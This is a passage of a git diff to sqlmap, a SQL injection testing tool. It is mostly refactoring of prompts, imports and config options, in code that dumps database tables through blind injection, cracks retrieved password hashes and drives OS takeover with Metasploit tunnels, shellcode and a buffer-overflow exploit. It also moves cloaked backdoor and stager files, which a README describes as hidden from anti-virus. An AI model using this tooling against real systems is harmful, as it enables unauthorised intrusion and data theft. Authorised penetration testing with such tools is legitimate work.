+ elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) + elif Backend.isDbms(DBMS.INFORMIX): + table = "%s:%s" % (conf.db, tbl) - try: - retVal = pivotDumpTable(table, colList, count, blind=True) - except KeyboardInterrupt: - retVal = None - kb.dumpKeyboardInterrupt = True - clearConsoleLine() - warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + if Backend.isDbms(DBMS.MSSQL): + try: + indexRange = getLimitRange(count, plusOne=True) + + for index in indexRange: + for column in colList: + query = rootQuery.blind.query3 % (column, column, table, index) + query = agent.whereQuery(query) + + value = inject.getValue(query, union=False, error=False, dump=True) or "" + + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = BigArray() + + lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) - if retVal: - entries, lengths = retVal + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warn(warnMsg) + + if not entries and not kb.dumpKeyboardInterrupt: + try: + retVal = pivotDumpTable(table, colList, count, blind=True) + except KeyboardInterrupt: + retVal = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warn(warnMsg) + + if retVal: + entries, lengths = retVal else: emptyColumns = [] @@ -329,7 +390,7 @@ def dumpTable(self, foundData=None): elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) - query = whereQuery(query) + query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value @@ -416,9 +477,8 @@ def dumpAll(self): def dumpFoundColumn(self, dbs, foundCols, colConsider): message = "do you want to dump entries? [Y/n] " - output = readInput(message, default="Y") - if output and output[0] not in ("y", "Y"): + if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] @@ -429,14 +489,14 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test in ("a", "A"): + if not choice or choice in ('a', 'A'): dumpFromDbs = dbs.keys() - elif test in ("q", "Q"): + elif choice in ('q', 'Q'): return else: - dumpFromDbs = test.replace(" ", "").split(",") + dumpFromDbs = choice.replace(" ", "").split(',') for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: @@ -452,16 +512,16 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): message += "[s]kip\n" message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test in ("a", "A"): + if not choice or choice in ('a', 'A'): dumpFromTbls = tblData - elif test in ("s", "S"): + elif choice in ('s', 'S'): continue - elif test in ("q", "Q"): + elif choice in ('q', 'Q'): return else: - dumpFromTbls = test.replace(" ", "").split(",") + dumpFromTbls = choice.replace(" ", "").split(',') for table, columns in tblData.items(): if table not in dumpFromTbls: @@ -473,7 +533,7 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] - conf.col = ",".join(colList) + conf.col = ','.join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} @@ -484,9 +544,8 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): def dumpFoundTables(self, tables): message = "do you want to dump tables' entries? [Y/n] " - output = readInput(message, default="Y") - if output and output[0].lower() != "y": + if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] @@ -497,14 +556,14 @@ def dumpFoundTables(self, tables): message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test.lower() == "a": + if not choice or choice.lower() == 'a': dumpFromDbs = tables.keys() - elif test.lower() == "q": + elif choice.lower() == 'q': return else: - dumpFromDbs = test.replace(" ", "").split(",") + dumpFromDbs = choice.replace(" ", "").split(',') for db, tablesList in tables.items(): if db not in dumpFromDbs or not tablesList: @@ -520,16 +579,16 @@ def dumpFoundTables(self, tables): message += "[s]kip\n" message += "[q]uit" - test = readInput(message, default="a") + choice = readInput(message, default='a') - if not test or test.lower() == "a": + if not choice or choice.lower() == 'a': dumpFromTbls = tablesList - elif test.lower() == "s": + elif choice.lower() == 's': continue - elif test.lower() == "q": + elif choice.lower() == 'q': return else: - dumpFromTbls = test.replace(" ", "").split(",") + dumpFromTbls = choice.replace(" ", "").split(',') for table in dumpFromTbls: conf.tbl = table diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index d1dd5509f76..0b6190ae473 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index d869ef90e6b..a57548c79cd 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -120,6 +120,8 @@ def fileEncode(self, fileName, encoding, single, chunkSize=256): back-end DBMS underlying file system """ + checkFile(fileName) + with open(fileName, "rb") as f: content = f.read() @@ -154,15 +156,15 @@ def fileContentEncode(self, content, encoding, single, chunkSize=256): return retVal def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): - output = None + choice = None if forceCheck is not True: message = "do you want confirmation that the local file '%s' " % localFile message += "has been successfully written on the back-end DBMS " message += "file system ('%s')? [Y/n] " % remoteFile - output = readInput(message, default="Y") + choice = readInput(message, default='Y', boolean=True) - if forceCheck or (output and output.lower() == "y"): + if forceCheck or choice: return self._checkFileLength(localFile, remoteFile) return True @@ -171,9 +173,8 @@ def askCheckReadFile(self, localFile, remoteFile): message = "do you want confirmation that the remote file '%s' " % remoteFile message += "has been successfully downloaded from the back-end " message += "DBMS file system? [Y/n] " - output = readInput(message, default="Y") - if not output or output in ("y", "Y"): + if readInput(message, default='Y', boolean=True): return self._checkFileLength(localFile, remoteFile, True) return None @@ -203,7 +204,7 @@ def readFile(self, remoteFiles): self.checkDbmsOs() - for remoteFile in remoteFiles.split(","): + for remoteFile in remoteFiles.split(','): fileContent = None kb.fileReadMode = True @@ -278,7 +279,7 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): self.checkDbmsOs() if localFile.endswith('_'): - localFile = decloakToTemp(localFile) + localFile = getUnicode(decloakToTemp(localFile)) if conf.direct or isStackingAvailable(): if isStackingAvailable(): diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 43451f47c01..0eae42a9bbd 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -45,12 +45,12 @@ def userChooseDbmsOs(self): msg = "do you want to provide the OS? [(W)indows/(l)inux]" while True: - os = readInput(msg, default="W") + os = readInput(msg, default='W').upper() - if os[0].lower() == "w": + if os == 'W': Backend.setOs(OS.WINDOWS) break - elif os[0].lower() == "l": + elif os == 'L': Backend.setOs(OS.LINUX) break else: diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 9a4156ce7ec..e61d5486c91 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import ntpath @@ -101,7 +101,7 @@ def getVersionFromBanner(self): query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) - kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "") + kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(',', "").replace('-', "").replace(' ', "") def delRemoteFile(self, filename): if not filename: @@ -169,9 +169,8 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf - output = readInput(message, default="Y") - if not output or output in ("y", "Y"): + if readInput(message, default='Y', boolean=True): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): diff --git a/plugins/generic/search.py b/plugins/generic/search.py index ff7a2a7d358..b5d86042377 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent @@ -33,8 +33,8 @@ from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.request import inject -from lib.techniques.brute.use import columnExists -from lib.techniques.brute.use import tableExists +from lib.utils.brute import columnExists +from lib.utils.brute import tableExists class Search: """ @@ -47,7 +47,7 @@ def __init__(self): def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db - dbList = conf.db.split(",") + dbList = conf.db.split(',') if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 @@ -146,18 +146,18 @@ def searchTable(self): if bruteForce: message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: - regex = "|".join(conf.tbl.split(",")) + regex = '|'.join(conf.tbl.split(',')) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 @@ -171,7 +171,7 @@ def searchTable(self): tbl = tbl.upper() infoMsg = "searching table" - if tblConsider == "1": + if tblConsider == '1': infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) @@ -179,7 +179,7 @@ def searchTable(self): conf.db = self.getCurrentDb() if dbCond and conf.db: - _ = conf.db.split(",") + _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: @@ -264,7 +264,7 @@ def searchTable(self): if tblConsider == "2": continue else: - for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): + for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] @@ -345,20 +345,19 @@ def searchColumn(self): if bruteForce: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " - output = readInput(message, default="Y") - if output and output[0] not in ("n", "N"): + if readInput(message, default='Y', boolean=True): self.dumpAll() return @@ -370,7 +369,7 @@ def searchColumn(self): whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" - colList = conf.col.split(",") + colList = conf.col.split(',') if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] @@ -399,7 +398,7 @@ def searchColumn(self): foundCols[column] = {} if conf.tbl: - _ = conf.tbl.split(",") + _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) @@ -407,7 +406,7 @@ def searchColumn(self): conf.db = self.getCurrentDb() if conf.db: - _ = conf.db.split(",") + _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) elif conf.excludeSysDbs: @@ -434,13 +433,13 @@ def searchColumn(self): # column(s) provided values = [] - for db in conf.db.split(","): - for tbl in conf.tbl.split(","): + for db in conf.db.split(','): + for tbl in conf.tbl.split(','): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) - tbls = tbl.split(",") if not isNoneValue(tbl) else [] + tbls = tbl.split(',') if not isNoneValue(tbl) else [] for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) @@ -507,7 +506,7 @@ def searchColumn(self): if db not in foundCols[column]: foundCols[column][db] = [] else: - for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): + for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 9f52de28ed9..0d20b3461d2 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -22,7 +22,7 @@ def _escape(expression, quote=True, escaper=None): retVal = expression if quote: - for item in re.findall(r"'[^']*'+", expression, re.S): + for item in re.findall(r"'[^']*'+", expression): _ = item[1:-1] if _: retVal = retVal.replace(item, escaper(_)) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index fc808cdd56c..f65928a13be 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -96,20 +96,16 @@ def osPwn(self): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" - valids = (1, 2) while True: - tunnel = readInput(msg, default=1) + tunnel = readInput(msg, default='1') - if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids: + if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break - elif isinstance(tunnel, int) and tunnel in valids: - break - else: - warnMsg = "invalid value, valid values are 1 and 2" + warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) else: tunnel = 1 @@ -170,17 +166,14 @@ def osPwn(self): msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" while True: - choice = readInput(msg, default=1) + choice = readInput(msg, default='1') - if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2): + if choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break - elif isinstance(choice, int) and choice in (1, 2): - break - else: - warnMsg = "invalid value, valid values are 1 and 2" + warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) if choice == 1: @@ -336,11 +329,8 @@ def osBof(self): msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " - choice = readInput(msg, default="N") - - dos = choice and choice[0].lower() == "y" - if dos: + if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) @@ -460,9 +450,8 @@ def regDel(self): message = "are you sure that you want to delete the Windows " message += "registry path '%s\%s? [y/N] " % (regKey, regVal) - output = readInput(message, default="N") - if output and output[0] not in ("Y", "y"): + if not readInput(message, default='N', boolean=True): return infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index f18440909d4..45ac345752c 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -161,11 +161,11 @@ def getPasswordHashes(self): conf.user = conf.user.upper() if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] @@ -220,7 +220,7 @@ def getPasswordHashes(self): if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] @@ -235,7 +235,7 @@ def getPasswordHashes(self): if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): - password = "0x%s" % hexencode(password).upper() + password = "0x%s" % hexencode(password, conf.encoding).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] @@ -307,9 +307,9 @@ def getPasswordHashes(self): if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " - errMsg += "database users (probably because the session " - errMsg += "user has no read privileges over the relevant " - errMsg += "system database table)" + errMsg += "database users (probably because the DBMS " + errMsg += "current user has no read privileges over the relevant " + errMsg += "system database table(s))" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: @@ -319,11 +319,11 @@ def getPasswordHashes(self): message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if test[0] in ("n", "N"): + if choice == 'N': pass - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() @@ -345,11 +345,11 @@ def getPrivileges(self, query2=False): conf.user = conf.user.upper() if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] @@ -393,7 +393,7 @@ def getPrivileges(self, query2=False): user = None privileges = set() - for count in xrange(0, len(value)): + for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] @@ -424,12 +424,13 @@ def getPrivileges(self, query2=False): # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): - privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + if privilege.strip() in FIREBIRD_PRIVS: + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): - privs = privilege.split(",") + privs = privilege.split(',') privilege = privs[0] if len(privs) > 1: privs = privs[1] @@ -462,7 +463,7 @@ def getPrivileges(self, query2=False): if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] @@ -537,8 +538,8 @@ def getPrivileges(self, query2=False): # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: - privilege = privilege.replace(", ", ",") - privs = privilege.split(",") + privilege = privilege.replace(", ", ',') + privs = privilege.split(',') i = 1 for priv in privs: @@ -557,12 +558,12 @@ def getPrivileges(self, query2=False): # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - privilege = privilege.replace(", ", ",") - privs = privilege.split(",") + privilege = privilege.replace(", ", ',') + privs = privilege.split(',') i = 1 for priv in privs: - if priv.upper() == "Y": + if priv.upper() == 'Y': for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) @@ -580,14 +581,14 @@ def getPrivileges(self, query2=False): # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): - privs = privilege.split(",") + privs = privilege.split(',') privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: - if priv.upper() in ("Y", "G"): + if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv diff --git a/shell/README.txt b/shell/README.txt index 6e2e08cfc74..6e7f123fec7 100644 --- a/shell/README.txt +++ b/shell/README.txt @@ -1,8 +1,4 @@ -Due to the anti-virus positive detection of shell scripts stored inside -this folder, we needed to somehow circumvent this. As from the plain -sqlmap users perspective nothing has to be done prior to their usage by -sqlmap, but if you want to have access to their original source code use -the decrypt functionality of the ../extra/cloak/cloak.py utility. +Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; diff --git a/shell/backdoor.asp_ b/shell/backdoors/backdoor.asp_ similarity index 100% rename from shell/backdoor.asp_ rename to shell/backdoors/backdoor.asp_ diff --git a/shell/backdoor.aspx_ b/shell/backdoors/backdoor.aspx_ similarity index 100% rename from shell/backdoor.aspx_ rename to shell/backdoors/backdoor.aspx_ diff --git a/shell/backdoor.jsp_ b/shell/backdoors/backdoor.jsp_ similarity index 100% rename from shell/backdoor.jsp_ rename to shell/backdoors/backdoor.jsp_ diff --git a/shell/backdoor.php_ b/shell/backdoors/backdoor.php_ similarity index 100% rename from shell/backdoor.php_ rename to shell/backdoors/backdoor.php_ diff --git a/shell/stager.asp_ b/shell/stagers/stager.asp_ similarity index 100% rename from shell/stager.asp_ rename to shell/stagers/stager.asp_ diff --git a/shell/stager.aspx_ b/shell/stagers/stager.aspx_ similarity index 100% rename from shell/stager.aspx_ rename to shell/stagers/stager.aspx_ diff --git a/shell/stager.jsp_ b/shell/stagers/stager.jsp_ similarity index 100% rename from shell/stager.jsp_ rename to shell/stagers/stager.jsp_ diff --git a/shell/stager.php_ b/shell/stagers/stager.php_ similarity index 100% rename from shell/stager.php_ rename to shell/stagers/stager.php_ diff --git a/sqlmap.conf b/sqlmap.conf index 0a3d8e26b37..77849ce719f 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -98,9 +98,9 @@ authCred = # Syntax: key_file authFile = -# Ignore HTTP Error 401 (Unauthorized). -# Valid: True or False -ignore401 = False +# Ignore HTTP error code (e.g. 401). +# Valid: integer +ignoreCode = # Ignore system default proxy settings. # Valid: True or False @@ -512,13 +512,13 @@ excludeSysDbs = False # First query output entry to retrieve # Valid: integer -# Default: 0 (sqlmap will start to retrieve the query output entries from -# the first) +# Default: 0 (sqlmap will start to retrieve the table dump entries from +# first one) limitStart = 0 # Last query output entry to retrieve # Valid: integer -# Default: 0 (sqlmap will detect the number of query output entries and +# Default: 0 (sqlmap will detect the number of table dump entries and # retrieve them until the last) limitStop = 0 @@ -671,8 +671,8 @@ batch = False # Result fields having binary values (e.g. "digest"). binaryFields = -# Force character encoding used for data retrieval. -charset = +# Check Internet connection before assessing the target. +checkInternet = False # Crawl the website starting from the target URL. # Valid: integer @@ -690,6 +690,9 @@ csvDel = , # Valid: CSV, HTML or SQLITE dumpFormat = CSV +# Force character encoding used for data retrieval. +encoding = + # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False @@ -779,10 +782,6 @@ mobile = False # Valid: True or False offline = False -# Display page rank (PR) for Google dork results. -# Valid: True or False -pageRank = False - # Skip heuristic detection of WAF/IPS/IDS protection. # Valid: True or False skipWaf = False @@ -794,6 +793,9 @@ smart = False # Local directory for storing temporary files. tmpDir = +# Web server document root directory (e.g. "/var/www"). +webRoot = + # Simple wizard interface for beginner users. # Valid: True or False wizard = False diff --git a/sqlmap.py b/sqlmap.py index 73075d49014..a0dcdb8329b 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,20 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import sys sys.dont_write_bytecode = True -__import__("lib.utils.versioncheck") # this has to be the first non-standard import +try: + __import__("lib.utils.versioncheck") # this has to be the first non-standard import +except ImportError: + exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") import bdb import distutils import glob import inspect +import json import logging import os import re @@ -32,7 +36,6 @@ from lib.core.data import logger try: - from lib.controller.controller import start from lib.core.common import banner from lib.core.common import checkIntegrity from lib.core.common import createGithubIssue @@ -40,6 +43,7 @@ from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import maskSensitiveData + from lib.core.common import openFile from lib.core.common import setPaths from lib.core.common import weAreFrozen from lib.core.data import cmdLineOptions @@ -53,15 +57,12 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.option import initOptions from lib.core.option import init - from lib.core.profiling import profile from lib.core.settings import GIT_PAGE from lib.core.settings import IS_WIN from lib.core.settings import LEGAL_DISCLAIMER from lib.core.settings import THREAD_FINALIZATION_TIMEOUT from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VERSION - from lib.core.testing import smokeTest - from lib.core.testing import liveTest from lib.parse.cmdline import cmdLineParser except KeyboardInterrupt: errMsg = "user aborted" @@ -115,7 +116,6 @@ def main(): try: checkEnvironment() - setPaths(modulePath()) banner() @@ -123,7 +123,7 @@ def main(): cmdLineOptions.update(cmdLineParser().__dict__) initOptions(cmdLineOptions) - if hasattr(conf, "api"): + if conf.get("api"): # heavy imports from lib.utils.api import StdDbOut from lib.utils.api import setRestAPILog @@ -140,22 +140,28 @@ def main(): init() - if conf.profile: - profile() - elif conf.smokeTest: - smokeTest() - elif conf.liveTest: - liveTest() - else: - try: - start() - except thread.error as ex: - if "can't start new thread" in getSafeExString(ex): - errMsg = "unable to start new threads. Please check OS (u)limits" - logger.critical(errMsg) - raise SystemExit - else: - raise + if not conf.updateAll: + # Postponed imports (faster start) + if conf.profile: + from lib.core.profiling import profile + profile() + elif conf.smokeTest: + from lib.core.testing import smokeTest + smokeTest() + elif conf.liveTest: + from lib.core.testing import liveTest + liveTest() + else: + from lib.controller.controller import start + try: + start() + except thread.error as ex: + if "can't start new thread" in getSafeExString(ex): + errMsg = "unable to start new threads. Please check OS (u)limits" + logger.critical(errMsg) + raise SystemExit + else: + raise except SqlmapUserQuitException: errMsg = "user quit" @@ -203,9 +209,10 @@ def main(): print errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() + valid = checkIntegrity() try: - if not checkIntegrity(): + if valid is False: errMsg = "code integrity check failed (turning off automatic issue creation). " errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE @@ -214,7 +221,7 @@ def main(): dataToStdout(excMsg) raise SystemExit - elif "tamper/" in excMsg: + elif any(_ in excMsg for _ in ("tamper/", "waf/")): logger.critical(errMsg) print dataToStdout(excMsg) @@ -247,11 +254,22 @@ def main(): logger.error(errMsg) raise SystemExit + elif "Violation of BIDI" in excMsg: + errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" + logger.error(errMsg) + raise SystemExit + elif "_mkstemp_inner" in excMsg: errMsg = "there has been a problem while accessing temporary files" 